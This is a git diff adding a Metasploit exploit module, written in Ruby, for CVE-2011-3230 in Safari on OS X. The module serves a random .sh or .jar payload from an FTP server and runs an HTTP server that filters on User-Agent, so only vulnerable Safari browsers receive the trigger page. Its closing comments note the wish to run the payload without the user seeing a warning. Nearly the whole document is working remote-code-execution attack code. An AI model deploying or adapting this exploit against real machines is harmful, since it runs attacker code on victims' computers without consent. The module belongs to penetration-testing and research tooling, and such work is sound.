diff --git a/modules/exploits/osx/browser/safari_file_policy.rb b/modules/exploits/osx/browser/safari_file_policy.rb new file mode 100644 index 0000000000..4070252dd9 --- /dev/null +++ b/modules/exploits/osx/browser/safari_file_policy.rb @@ -0,0 +1,339 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' +require 'rex/service_manager' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::FtpServer + + def initialize(info={}) + super(update_info(info, + 'Name' => "Apple Safari file:// Arbitrary Code Execution", + 'Description' => %q{ + This module exploits a vulnerability found in Apple Safari on OSX platform. + A policy issue in the handling of file:// URLs may allow arbitrary remote code + execution under the context of the user. + + In order to trigger arbitrary remote code execution, the best way seems to + be opening a share on the victim machine first (this can be SMB/WebDav/FTP, or + a fileformat that OSX might automount), and then execute it in /Volumes/[share]. + If there's some kind of bug that leaks the victim machine's current username, + then it's also possible to execute the payload in /Users/[username]/Downloads/, + or else bruteforce your way to getting that information. + + Please note that non-java payloads (*.sh extension) might get launched by + Xcode instead of executing it, in that case please try the Java ones instead. + }, + 'License' => MSF_LICENSE, + 'Version' => "$Revision$", + 'Author' => + [ + 'Aaron Sigel', # Initial discovery + 'sinn3r', # Metasploit (also big thanks to HD, and bannedit) + ], + 'References' => + [ + ['CVE', '2011-3230'], + ['URL', 'http://vttynotes.blogspot.com/2011/10/cve-2011-3230-launch-any-file-path-from.html#comments'], + ['URL', 'http://support.apple.com/kb/HT5000'] + ], + 'Payload' => + { + 'BadChars' => "", + }, + 'DefaultOptions' => + { + 'ExitFunction' => "none", + }, + 'Platform' => [ 'unix', 'osx', 'java' ], + 'Arch' => [ ARCH_CMD, ARCH_JAVA ], + 'Targets' => + [ + [ 'Safari 5.1 on OSX', {} ], + [ 'Safari 5.1 on OSX with Java', {} ] + ], + 'Privileged' => true, + 'DisclosureDate' => "Oct 12 2011", #Blog date + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new("URIPATH", [false, 'The URI to use for this exploit (default is random)']), + OptPort.new('SRVPORT', [true, "The local port to use for the FTP server (Do not change)", 21 ]), + OptPort.new('HTTPPORT', [true, "The HTTP server port", 80]) + ], self.class ) + end + + + # + # Start the FTP aand HTTP server + # + def exploit + # The correct extension name is necessary because that's how the LauncherServices + # determines how to open the file. + ext = (target.name =~ /java/i) ? '.jar' : '.sh' + @payload_name = Rex::Text.rand_text_alpha(4 + rand(16)) + ext + + # Start the FTP server + start_service() + print_status("Local FTP: #{lookup_lhost}:#{datastore['SRVPORT']}") + + # Create our own HTTP server + # We will stay in this functino until we manually terminate execution + start_http() + end + + + # + # Lookup the right address for the client + # + def lookup_lhost(c=nil) + # Get the source address + if datastore['SRVHOST'] == '0.0.0.0' + Rex::Socket.source_address( c || '50.50.50.50') + else + datastore['SRVHOST'] + end + end + + + # + # Override the client connection method and + # initialize our payload + # + def on_client_connect(c) + r = super(c) + @state[c][:payload] = regenerate_payload(c).encoded + r + end + + + # + # Handle FTP LIST request (send back the directory listing) + # + def on_client_command_list(c, arg) + conn = establish_data_connection(c) + if not conn + c.put("425 Can't build data connection\r\n") + return + end + + print_status("Data connection setup") + c.put("150 Here comes the directory listing\r\n") + + print_status("Sending directory list via data connection") + month_names = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'] + m = month_names[Time.now.month-1] + d = Time.now.day + y = Time.now.year + + dir = "-rwxr-xr-x 1 ftp ftp #{@state[c][:payload].length.to_s} #{m} #{d} #{y} #{@payload_name}\r\n" + conn.put(dir) + conn.close + + print_status("Directory sent ok") + c.put("226 Transfer ok\r\n") + + return + end + + + # + # Handle the FTP RETR request. This is where we transfer our actual malicious payload + # + def on_client_command_retr(c, arg) + conn = establish_data_connection(c) + if not conn + c.put("425 can't build data connection\r\n") + return + end + + print_status("Connection for file transfer accepted") + c.put("150 Connection accepted\r\n") + + # Send out payload + conn.put(@state[c][:payload]) + conn.close + return + end + + + # + # Handle the HTTP request and return a response. Code borrorwed from: + # msf/core/exploit/http/server.rb + # + def start_http(opts={}) + # Ensture all dependencies are present before initializing HTTP + use_zlib + + comm = datastore['ListenerComm'] + if (comm.to_s == "local") + comm = ::Rex::Socket::Comm::Local + else + comm = nil + end + + # Default the server host / port + opts = { + 'ServerHost' => datastore['SRVHOST'], + 'ServerPort' => datastore['HTTPPORT'], + 'Comm' => comm + }.update(opts) + + # Start a new HTTP server + @http_service = Rex::ServiceManager.start( + Rex::Proto::Http::Server, + opts['ServerPort'].to_i, + opts['ServerHost'], + datastore['SSL'], + { + 'Msf' => framework, + 'MsfExploit' => self, + }, + opts['Comm'], + datastore['SSLCert'] + ) + + @http_service.server_name = datastore['HTTP::server_name'] + + # Default the procedure of the URI to on_request_uri if one isn't + # provided. + uopts = { + 'Proc' => Proc.new { |cli, req| + on_request_uri(cli, req) + }, + 'Path' => resource_uri + }.update(opts['Uri'] || {}) + + proto = (datastore["SSL"] ? "https" : "http") + print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}") + + if (opts['ServerHost'] == '0.0.0.0') + print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}") + end + + # Add path to resource + @service_path = uopts['Path'] + @http_service.add_resource(uopts['Path'], uopts) + + # As long as we have the http_service object, we will keep the ftp server alive + while @http_service + select(nil, nil, nil, 1) + end + end + + + # + # Kill HTTP/FTP (shut them down and clear resources) + # + def cleanup + super + + # Kill FTP + stop_service() + + # clear my resource, deregister ref, stop/close the HTTP socket + begin + @http_service.remove_resource(datastore['URIPATH']) + @http_service.deref + @http_service.stop + @http_service.close + @http_service = nil + rescue + end + end + + + # + # Ensures that gzip can be used. If not, an exception is generated. The + # exception is only raised if the DisableGzip advanced option has not been + # set. + # + def use_zlib + if (!Rex::Text.zlib_present? and datastore['HTTP::compression'] == true) + raise RuntimeError, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!" + end + end + + + # + # Returns the configured (or random, if not configured) URI path + # + def resource_uri + path = datastore['URIPATH'] || random_uri + path = '/' + path if path !~ /^\// + datastore['URIPATH'] = path + return path + end + + + # + # Handle HTTP requets and responses + # + def on_request_uri(cli, request) + agent = request.headers['User-Agent'] + + if agent !~ /Macintosh; Intel Mac OS X/ or agent !~ /Version\/5\.\d Safari\/(\d+)\.(\d+)/ + print_error("Unsupported target: #{agent}") + send_response(cli, 404, "Not Found", "

404 - Not Found

") + return + end + + html = <<-HTML + + + + + + + + + HTML + + send_response(cli, 200, 'OK', html) + end + + + # + # Create an HTTP response and then send it + # + def send_response(cli, code, message='OK', html='') + proto = Rex::Proto::Http::DefaultProtocol + res = Rex::Proto::Http::Response.new(code, message, proto) + res['Content-Type'] = 'text/html' + res.body = html + + cli.send_response(res) + end + +end + +=begin +- Need to find a suitable payload that can be executed without warning. + Certain executables cannot be executed due to permission issues. A jar file doesn't have this + problem, but we still get a "Are you sure?" warning before it can be executed. +- Allow user-specified port to automount the share +- Allow ftp USERNAME/PASSWORD (optional) +=end